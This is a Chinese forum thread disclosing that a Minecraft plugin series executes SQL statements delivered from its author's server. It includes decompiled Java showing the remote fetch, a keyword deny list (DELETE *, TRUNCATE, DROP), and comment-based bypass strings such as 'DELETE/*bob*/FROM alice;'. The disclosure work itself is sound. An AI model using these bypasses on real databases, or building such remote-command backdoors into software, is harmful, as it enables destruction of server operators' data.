weyeah 发表于 2025-3-30 22:11:31

知名Minecraft插件 米饭Minecraft插件被曝后门

我们发现了 米饭系列 插件的 数据库后门,我们在此呼吁保护 服务器数据库安全,不要使用 米饭系列 插件。其插件在处理数据库时,所有的SQL指令均为 米饭验证服务器 提供。如果米饭将服务器提供的值改为 DELETE * 你们应该都知道后果的。https://www.minebbs.com/threads/ju-bao-cha-jian-zuo-zhe-mi-fan-cha-jian-nei-cun-zai-shan-ku-hou-men.35422/

最新信报:
PlayerWarp也有PlayerTask也有PlayerTitle也有




weyeah 发表于 2025-3-30 22:15:36

官方对此事件的回复是为防止盗版插件 但是此理由过于牵强 SQL语句的操作空间巨大 即使是为了反盗版也不应用这种手段

huzpsb 发表于 2025-3-30 23:09:50

本帖最后由 huzpsb 于 2025-3-31 00:26 编辑

关于米饭插件存在远程SQL指令下发的个人观点
(个人观点/利益无关)

首先,非常遗憾的是,米饭的远程SQL指令下发确实是刻意的不安全行为。换言之,如果米饭希望,他确实可以远程删除你的数据库。

但是,至少在我看来,米饭并没有主观恶意....理由如下:

首先,米饭提供了SQLite...并且在相当多的情况下,这是默认的存储方式。可以预见的是,米饭自己知道大多数用户的存储方式是SQLite...即使是MySQL,绝大多数使用者即使懒到使用宝塔等方案,也不会发生数据库账号越权问题...

其次,米饭确实没有写远程代码加载。从某种意义上说,远程下拉一个shell并执行比当前方案(远程下发SQL指令)更好编写...这确实可以视为一种对保证安全性的努力...

最后...也是最重要的一点...即使插件删除自身的数据库,插件及插件生成的文件的知识版权也本应归米饭所有;他并没有删除自己没有知识产权的文件...这并不是一件那么值得指责的事情...

当然,数据删除是一件非常膈应人的事。但是专有软件确实可以进行类似的操作;哪怕是通过删除数据库以外的方法。举例而言,可以引入一种私有的文件格式,这种文件格式不能被其他任何软件打开。这和删除数据库的差异其实没有那么大。


如果你问我,是否会继续使用米饭的插件....我就从来没有用过米饭的插件....我在选择插件时会直接排除所有不开源的(

此外,米饭的插件虽然确实有经过混淆,但是也符合由md_5规定的弱混淆标准。参考文献:
https://www.spigotmc.org/threads/approved-obfuscators.420746/ ;我们也大可以不必急着对米饭定性,等一手SpigotMC的判决...
我会把事情捅过去的 : )

如果SpigotMC封禁了米饭,那就追着封吧...如果没有的话,我提议,将所有存在网络行为的而不是混淆了的插件进行特殊标示;用户在了解风险后,可自行选择是否使用此类插件。

以上
Authored & signed, huzpsb(aka Venti)

ヽ米饭 发表于 2025-3-30 23:20:29



代码中已存在强校验, 不存在 DELETE *或者操作到其他数据库表的情况
1. 强校验禁止了DELETE * 不存在删除数据可能
2. 禁止了各种清空数据或者删除表的关键字存在
3. 禁止了操作非本插件以外表的sql
请反编译查看最新代码来判断

huzpsb 发表于 2025-3-31 00:03:10

本帖最后由 huzpsb 于 2025-3-31 00:21 编辑

ヽ米饭 发表于 2025-3-30 23:20
代码中已存在强校验, 不存在 DELETE *或者操作到其他数据库表的情况
1. 强校验禁止了DELETE * 不存在删除 ...

https://img.picui.cn/free/2025/03/31/67e96af6c95fe.png
非常遗憾,但是您的拦截在我看来不够完备。举例而言,烦请您考虑以下代码:
DELETE/**/*


ヽ米饭 发表于 2025-3-31 08:00:12

huzpsb 发表于 2025-3-31 00:03
非常遗憾,但是您的拦截在我看来不够完备。举例而言,烦请您考虑以下代码:




3. 禁止了操作非本插件以外表的sql

你可以试试,绝对是报错的

huzpsb 发表于 2025-3-31 13:49:45

ヽ米饭 发表于 2025-3-31 08:00
3. 禁止了操作非本插件以外表的sql

你可以试试,绝对是报错的

请允许我附上我看到的源代码。

// Decompiled with: Procyon 0.6.0
// Class Version: 8
// HsDeob
// 2025/3/31 13:38

package cn.handyplus.warp.lib;

import cn.handyplus.warp.lib.expand.VerifySignReq;
import java.util.Iterator;
import java.util.HashMap;
import cn.handyplus.warp.lib.expand.DbSqlReq;
import cn.handyplus.warp.lib.expand.PluginDbReq;
import java.util.Map;

public class DbHttpUtil
{
    public static String DB_URL;
    public static final Map SQL_CACHE_MAP;
   
    public static String selectCountSql(final DbSql dbSql, final String dbField) {
      final PluginDbReq requestSign;
      (requestSign = requestSign()).setDbSql(doQuery(dbSql));
      requestSign.setDbType("selectCountSql");
      requestSign.setDbField(dbField);
      return requestFromCloud(requestSign);
    }
   
    private static String requestFromCloud(final PluginDbReq pluginDbReq) {
      try {
            if (SignUtil.checkSign() && SignConstants.COMMAND_PERMISSION) {
                return "select 1";
            }
            final String json;
            final String md5Str = SecureUtil.md5Str(json = JsonUtil.toJson(pluginDbReq));
            final String s;
            if (StrUtil.isNotEmpty(s = DbHttpUtil.SQL_CACHE_MAP.get(md5Str))) {
                MessageUtil.sendConsoleDebugMessage(new StringBuilder().insert(0, "命中缓存:").append(md5Str).toString());
                return s;
            }
            final String post = HttpUtil.post(DbHttpUtil.DB_URL, json);
            if (!"select 1".equalsIgnoreCase(post)) {
                DbHttpUtil.SQL_CACHE_MAP.put(md5Str, post);
            }
            sanitize(post);
            return post;
      }
      catch (final Throwable t) {
            throw t;
      }
    }
   
    private static DbSqlReq doQuery(final DbSql dbSql) {
      // 疑似链式语句被javac -O展开
      final DbSqlReq dbSqlReq5;
      final DbSqlReq dbSqlReq4;
      final DbSqlReq dbSqlReq3;
      final DbSqlReq dbSqlReq2;
      final DbSqlReq dbSqlReq = dbSqlReq2 = (dbSqlReq3 = (dbSqlReq4 = (dbSqlReq5 = new DbSqlReq())));
      dbSqlReq2.setTableName(dbSql.getTableName());
      dbSqlReq2.setFieldInfoMapSize(dbSql.getFieldInfoMap().size());
      dbSqlReq.setWhere(dbSql.getWhere());
      dbSqlReq3.setUpdatefieldList(dbSql.getUpdatefieldList());
      dbSqlReq3.setLimit(dbSql.getLimit());
      dbSqlReq4.setOrder(dbSql.getOrder());
      dbSqlReq5.setGroup(dbSql.getGroup());
      dbSqlReq5.setField(dbSql.getField());
      return dbSqlReq5;
    }
   
    public static String deleteDataSql(final DbSql dbSql) {
      final PluginDbReq requestSign = requestSign();
      requestSign.setDbSql(doQuery(dbSql));
      requestSign.setDbType("deleteDataSql");
      return requestFromCloud(requestSign);
    }
   
    static {
      DbHttpUtil.DB_URL = "https://admin.ljxmc.top/api/public/db/sql";
      SQL_CACHE_MAP = new HashMap();
    }
   
    public static String insertDataSql(final DbSql dbSql) {
      final PluginDbReq requestSign = requestSign();
      requestSign.setDbSql(doQuery(dbSql));
      requestSign.setDbType("insertDataSql");
      return requestFromCloud(requestSign);
    }
   
    public static String selectDataSql(final DbSql dbSql) {
      final PluginDbReq requestSign = requestSign();
      requestSign.setDbSql(doQuery(dbSql));
      requestSign.setDbType("selectDataSql");
      return requestFromCloud(requestSign);
    }
   
    private static void sanitize(String string) {
      boolean bl;
      block5: {
            if ("DELETE *".equalsIgnoreCase(string)) {
                throw new RuntimeException("异常sql! 出现delete *");
            }
            if (string.toUpperCase().contains("TRUNCATE")) {
                throw new RuntimeException("异常sql! 出现 TRUNCATE");
            }
            if (string.toUpperCase().contains("DROP")) {
                throw new RuntimeException("异常sql! 出现 DROP");
            }
            boolean bl2 = false;
            MessageUtil.sendConsoleDebugMessage(new StringBuilder().insert(0, "本系统表名:").append(JsonUtil.toJson(DbConstant.TABLE_NAME_LIST)).toString());
            for (String string2 : DbConstant.TABLE_NAME_LIST) {
                if (!string.contains(string2)) continue;
                bl = bl2 = true;
                break block5;
            }
            bl = bl2;
      }
      if (!bl) {
            throw new RuntimeException(new StringBuilder().insert(0, "异常sql! 不是本插件sql:").append(string).toString());
      }
    }
   
    public static String updateDataSql(final DbSql dbSql) {
      final PluginDbReq requestSign = requestSign();
      requestSign.setDbSql(doQuery(dbSql));
      requestSign.setDbType("updateDataSql");
      return requestFromCloud(requestSign);
    }
   
    private static PluginDbReq requestSign() {
      final PluginDbReq pluginDbReq = new PluginDbReq();
      if (InitApi.PLUGIN == null) {
            return pluginDbReq;
      }
      final VerifySignReq signReq = SignUtil.getSignReq();
      final PluginDbReq pluginDbReq2 = pluginDbReq;
      final VerifySignReq verifySignReq = signReq;
      final PluginDbReq pluginDbReq3 = pluginDbReq;
      final PluginDbReq pluginDbReq4 = pluginDbReq;
      final VerifySignReq verifySignReq2 = signReq;
      final VerifySignReq verifySignReq3 = signReq;
      final PluginDbReq pluginDbReq5 = pluginDbReq;
      final PluginDbReq pluginDbReq6 = pluginDbReq;
      final VerifySignReq verifySignReq4 = signReq;
      pluginDbReq.setPluginName(signReq.getPluginName());
      pluginDbReq6.setVersion(verifySignReq4.getVersion());
      pluginDbReq5.setSecretKey(verifySignReq4.getSecretKey());
      pluginDbReq5.setSign(verifySignReq3.getSign());
      pluginDbReq4.setPort(verifySignReq2.getPort());
      pluginDbReq3.setMac(verifySignReq2.getMac());
      pluginDbReq2.setIp(verifySignReq.getIp());
      pluginDbReq3.setSignVersion(SignVersionEnum.ONE.getVersion());
      return pluginDbReq2;
    }
}
在注释中包含表命应该并不是什么复杂的操作。假设您的插件使用了一张名为bob的表,以下代码即可删除alice表中的全部项目:
DELETE/*bob*/FROM alice;
不妨让我们试一试。

如果我对字节码的处理有误,还烦请指出。感谢!

ヽ米饭 发表于 2025-3-31 14:15:32

huzpsb 发表于 2025-3-31 13:49
请允许我附上我看到的源代码。

在注释中包含表命应该并不是什么复杂的操作。假设您的插件使用了一张名为 ...

sql中间据我所知是不能包含注释的,jdbc直接就报错了 如果我浅薄的知识记错了,那么就你对

不过你如果对还对安全有疑问,我可以给你3个解决办法
1. 使用sqlite 开启每日备份
2. 使用mysql单独一个库 开启每日备份
3. 改用其他插件,我并没有强迫任何人使用我插件

huzpsb 发表于 2025-3-31 14:46:24

本帖最后由 huzpsb 于 2025-3-31 14:47 编辑

ヽ米饭 发表于 2025-3-31 14:15
sql中间据我所知是不能包含注释的,jdbc直接就报错了 如果我浅薄的知识记错了,那么就你对

不过你如果对还 ...
:/
https://www.w3ccoo.com/sql/sql_comments.html
https://dev.mysql.com/doc/refman/8.0/en/comments.html

我理解并认同您希望保护您的插件不被盗版;
我的建议是您本地校验一下语句的哈希,例如sha256...
哈希算法是无法反推原文的;因此这也不会损害您的保护强度。

ヽ米饭 发表于 2025-4-2 22:00:37

huzpsb 发表于 2025-3-31 14:46
:/
https://www.w3ccoo.com/sql/sql_comments.html
https://dev.mysql.com/doc/refman/8.0/en/comments.ht ...

你这种使用注释绕过的骚操作是在最新版本被禁止了的
页: [1] 2
查看完整版本: 知名Minecraft插件 米饭Minecraft插件被曝后门